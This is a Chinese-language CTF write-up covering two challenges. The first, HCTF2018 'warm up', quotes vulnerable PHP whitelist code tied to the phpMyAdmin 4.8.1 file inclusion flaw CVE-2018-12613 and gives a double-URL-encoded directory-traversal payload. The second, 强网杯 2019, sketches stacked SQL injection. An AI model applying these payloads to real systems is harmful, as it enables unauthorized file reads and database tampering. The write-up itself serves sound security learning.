warm up (HCTF2018)
漏洞名称:
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
查看源码,source.php,进去看到源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can‘t see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can‘t see it";
return false;
}
}
if (! empty($_REQUEST[‘file‘])
&& is_string($_REQUEST[‘file‘])
&& emmm::checkFile($_REQUEST[‘file‘])
) {
include $_REQUEST[‘file‘];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
分段来看
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can‘t see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
首先是白名单,提交的page中要是白名单内的。
$_page = mb_substr(
$page,
0,
mb_strpos($page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
1、是page取?前作为_page再判断是否属于白名单
2、url解密一次
3、再取?前再判断一次
hint.php说在ffffllllaaaagggg.php,穿越目录读取
这里用?两次url编码,就可以绕过urldecode
这便符合了 ? 前面内容在白名单里会返回 true,会被包含,通过目录穿越就会造成任意文件包含漏洞
payload ?file=source.php%253f../../../../../../../../ffffllllaaaagggg
两个source.php就绕过了两个白名单检测。
至于多少个../就一个个试过去
随便注 [强网杯 2019]
单引号报错,从这是注入点
order by 3报错,最多两列
尝试union select ,屏蔽了这些关键词,尝试双写绕过,没有变化。
这是想到堆叠注入。
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ;
结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
原文地址:https://www.cnblogs.com/vstar-o/p/12609590.html
时间: 2024-10-08 18:09:36